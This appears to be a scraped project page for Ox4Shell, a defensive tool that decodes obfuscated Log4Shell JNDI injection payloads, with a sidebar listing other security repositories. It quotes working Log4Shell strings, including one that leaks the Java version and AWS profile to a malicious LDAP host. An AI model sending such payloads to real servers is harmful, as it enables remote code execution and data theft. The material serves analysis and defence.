Deobfuscate Log4Shell payloads with ease

Overview

Logo-LightLogo-Dark


maintained-oxeye python-3.8 version-1.0 license-mit

Ox4Shell

Deobfuscate Log4Shell payloads with ease.

Description

Since the release of the Log4Shell vulnerability (CVE-2021-44228), many tools were created to obfuscate Log4Shell payloads, making the lives of security engineers a nightmare.

This tool intends to unravel the true contents of obfuscated Log4Shell payloads.

For example, consider the following obfuscated payload:

${zrch-Q(NGyN-yLkV:-}${j${sm:Eq9QDZ8-xEv54:-ndi}${GLX-MZK13n78y:GW2pQ:-:l}${ckX:[email protected][)]Tmw:a(:-da}${W(d:KSR)ky3:bv78UX2R-5MV:-p:/}/1.${)U:W9y=N:-}${i9yX1[:Z[Ve2=IkT=Z-96:-1.1}${[W*W:[email protected]@-vL7thi26dIeB-HxjP:-.1}:38${Mh:n341x.Xl2L-8rHEeTW*=-lTNkvo:-90/}${sx3-9GTRv:-Cal}c$c${HR-ewA.mQ:[email protected]:-z}3z${uY)u:7S2)P4ihH:[email protected]:-]}${S5D4[:qXhUBruo-QMr$1Bd-.=BmV:-}${_wjS:BIY0s:-Y_}p${SBKv-d9$5:-}Wx${Im:ajtV:-}AoL${=6wx-_HRvJK:-P}W${cR.1-lt3$R6R]x7-LomGH90)gAZ:NmYJx:-}h}

After running Ox4Shell, it would transform into an intuitive and readable form:

${jndi:ldap://1.1.1.1:3890/Calc$cz3z]Y_pWxAoLPWh}

Usage

To run the tool simply:

~/Ox4Shell » python ox4shell.py --help
usage: ox4shell [-h] [-d] [-m MOCK] [--max-depth MAX_DEPTH] (-p PAYLOAD | -f FILE)

   ____       _  _   _____ _          _ _ 
  / __ \     | || | / ____| |        | | |
 | |  | |_  _| || || (___ | |__   ___| | |
 | |  | \ \/ /__   _\___ \| '_ \ / _ \ | |
 | |__| |>  <   | | ____) | | | |  __/ | |
  \____//_/\_\  |_||_____/|_| |_|\___|_|_|

Ox4Shell - Deobfuscate Log4Shell payloads with ease.
    Created by https://oxeye.io

General:
  -h, --help            show this help message and exit
  -d, --debug           Enable debug mode (default: False)
  -m MOCK, --mock MOCK  The location of the mock data JSON file that replaces certain values in the payload (default: mock.json)
  --max-depth MAX_DEPTH
                        The maximum number of iteration to perform on a given payload (default: 150)

Targets:
  Choose which target payloads to run Ox4Shell on

  -p PAYLOAD, --payload PAYLOAD
                        A single payload to deobfuscate, make sure to escape '$' signs (default: None)
  -f FILE, --file FILE  A file containing payloads delimited by newline (default: None)

Mock Data

The Log4j library has a few unique lookup functions, which allow users to look up environment variables, runtime information on the Java process, and so forth. This capability grants threat actors the ability to probe for specific information that can uniquely identify the compromised machine they targeted.

Ox4Shell uses the mock.json file to insert common values into certain lookup function, for example, if the payload contains the value ${env:HOME}, we can replace it with a custom mock value.

The default set of mock data provided is:

{
    "hostname": "ip-127.0.0.1",
    "env": {
        "aws_profile": "staging",
        "user": "ubuntu",
        "pwd": "/opt/",
        "path": "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/jvm/java-1.8-openjdk/jre/bin:/usr/lib/jvm/java-1.8-openjdk/bin"
    },
    "sys": {
        "java.version": "16.0.2",
        "user.name": "ubuntu"
    },
    "java": {
        "version": "Java version 16.0.2",
        "runtime": "OpenJDK Runtime Environment (build 1.8.0_181-b13) from Oracle Corporation",
        "vm": "OpenJDK 64-Bit Server VM (build 25.181-b13, mixed mode)",
        "os": "Linux 5.10.47-linuxkit unknown, architecture: amd64-64",
        "locale": "default locale: en_US, platform encoding: UTF-8",
        "hw": "processors: 1, architecture: amd64-64"
    }
}

As an example, we can deobfuscate the following payload using the Ox4Shell's mocking capability:

~/Ox4Shell >> python ox4shell.py -p "\${jndi:ldap://\${sys:java.version}.\${env:AWS_PROFILE}.malicious.server/a}"  
${jndi:ldap://16.0.2.staging.malicious.server/a}

Authors

License

The source code for the project is licensed under the MIT license, which you can find in the LICENSE file.

Owner
Oxeye
Contextual, Risk-Based, Cloud Native Application Security Testing
Oxeye
A small script to export all AWAF policies from a BIG-IP device

This script leverages BIG-IP iControl REST API to export ALL AWAF policies in the system and saves them locally. The policies can be exported in the following formats: xml, plc and json.

3 Feb 03, 2022
proof-of-concept running docker container from omero web

docker-from-omero-poc proof-of-concept running docker container from omero web How-to Edit test_script.py so that the BaseClient is created pointing t

Erick Martins Ratamero 2 Jan 22, 2022
Rapidly enumerate subdomains and domains using rapiddns.io.

Description Simple python module (unofficial) allowing you to access data from rapiddns.io. You can also use it as a module. As mentioned on the rapid

27 Dec 31, 2022
Python program that generates secure passwords.

Python program that generates secure passwords. The user has the option to select the length of the password, amount of passwords,

4 Dec 07, 2021
A small Minecraft server to help players detect vulnerability to the Log4Shell exploit 🐚

log4check A small Minecraft server to help players detect vulnerability to the Log4Shell exploit 🐚 Tested to work between Minecraft versions 1.12.2 a

Evan J. Markowitz 4 Dec 23, 2021
Get important strings inside [Info.plist] & and Binary file also all output of result it will be saved in [app_binary].json , [app_plist_file].json file

Get important strings inside [Info.plist] & and Binary file also all output of result it will be saved in [app_binary].json , [app_plist_file].json file

12 Sep 28, 2022
A gui application used for network reconnaissance while pentesting

netrecon A gui application used for network reconnaissance while pentesting

Krisna Pranav 4 Sep 03, 2022
Vulmap 是一款 web 漏洞扫描和验证工具, 可对 webapps 进行漏洞扫描, 并且具备漏洞利用功能

Vulmap 是一款 web 漏洞扫描和验证工具, 可对 webapps 进行漏洞扫描, 并且具备漏洞利用功能

之乎者也 2.8k Dec 29, 2022
(D)arth (S)ide of the (L)og4j (F)orce, the ultimate log4j vulnerabilities assessor

DSLF DSLF stands for (D)arth (S)ide of the (L)og4j (F)orce. It is the ultimate log4j vulnerabilities assessor. It comes with four individual Python3 m

frontal 1 Jan 11, 2022
xkeysnail is yet another keyboard remapping tool for X environment written in Python

xkeysnail is yet another keyboard remapping tool for X environment written in Python. It's like xmodmap but allows more flexible remappings.

Masafumi Oyamada 809 Dec 26, 2022
Password List Maker

Red-Key Red-Key Password List Maker Version 1.1.2 Created By FireKing255 -=Features=- Create Random Password List Create Password List Create Password

FireKing255 7 Dec 26, 2021
An auxiliary tool for iot vulnerability hunter

firmeye - IoT固件漏洞挖掘工具 firmeye 是一个 IDA 插件,基于敏感函数参数回溯来辅助漏洞挖掘。我们知道,在固件漏洞挖掘中,从敏感/危险函数出发,寻找其参数来源,是一种很有效的漏洞挖掘方法,但程序中调用敏感函数的地方非常多,人工分析耗时费力,通过该插件,可以帮助排除大部分的安全

Firmy Yang 171 Nov 28, 2022
Brainly-Scrambler - Brainly Scrambler With Python

Brainly-Scrambler Untuk admin brainly jangan lupa pasang captcha mu Note: Kamu

8 Feb 24, 2022
AttractionFinder - 2022 State Qualified FBLA Attraction Finder Application

Attraction Finder Developers: Riyon Praveen, Aaron Bijoy, & Yash Vora How It Wor

$ky 2 Feb 09, 2022
Privilege escalation with polkit - CVE-2021-3560

Polkit-exploit - CVE-2021-3560 Privilege escalation with polkit - CVE-2021-3560 Summary CVE-2021-3560 is an authentication bypass on polkit, which all

Ahmad Almorabea 95 Dec 27, 2022
Lnkbomb - Malicious shortcut generator for collecting NTLM hashes from insecure file shares

Lnkbomb Lnkbomb is used for uploading malicious shortcut files to insecure file

Joe Helle 216 Jan 08, 2023
Local server for IDA Lumina feature

About POC of an offline server for IDA Lumina feature.

Synacktiv 166 Dec 30, 2022
This repository contains wordlists for each versions of common web applications and content management systems (CMS). Each version contains a wordlist of all the files directories for this version.

webapp-wordlists This repository contains wordlists for each versions of common web applications and content management systems (CMS). Each version co

Podalirius 396 Jan 08, 2023
A GitHub action for organizations that enables advanced security code scanning on all new repos

Advanced-Security-Enforcer What this repository does This code is for an active GitHub Action written in Python to check (on a schedule) for new repos

Zack Koppert 30 May 17, 2022
Hacktricks - Welcome to the page where you will find each trick/technique/whatever I have learnt in CTFs, real life apps, and reading researches and news.

Hacktricks - Welcome to the page where you will find each trick/technique/whatever I have learnt in CTFs, real life apps, and reading researches and news.

Carlos Polop 5.8k Jan 07, 2023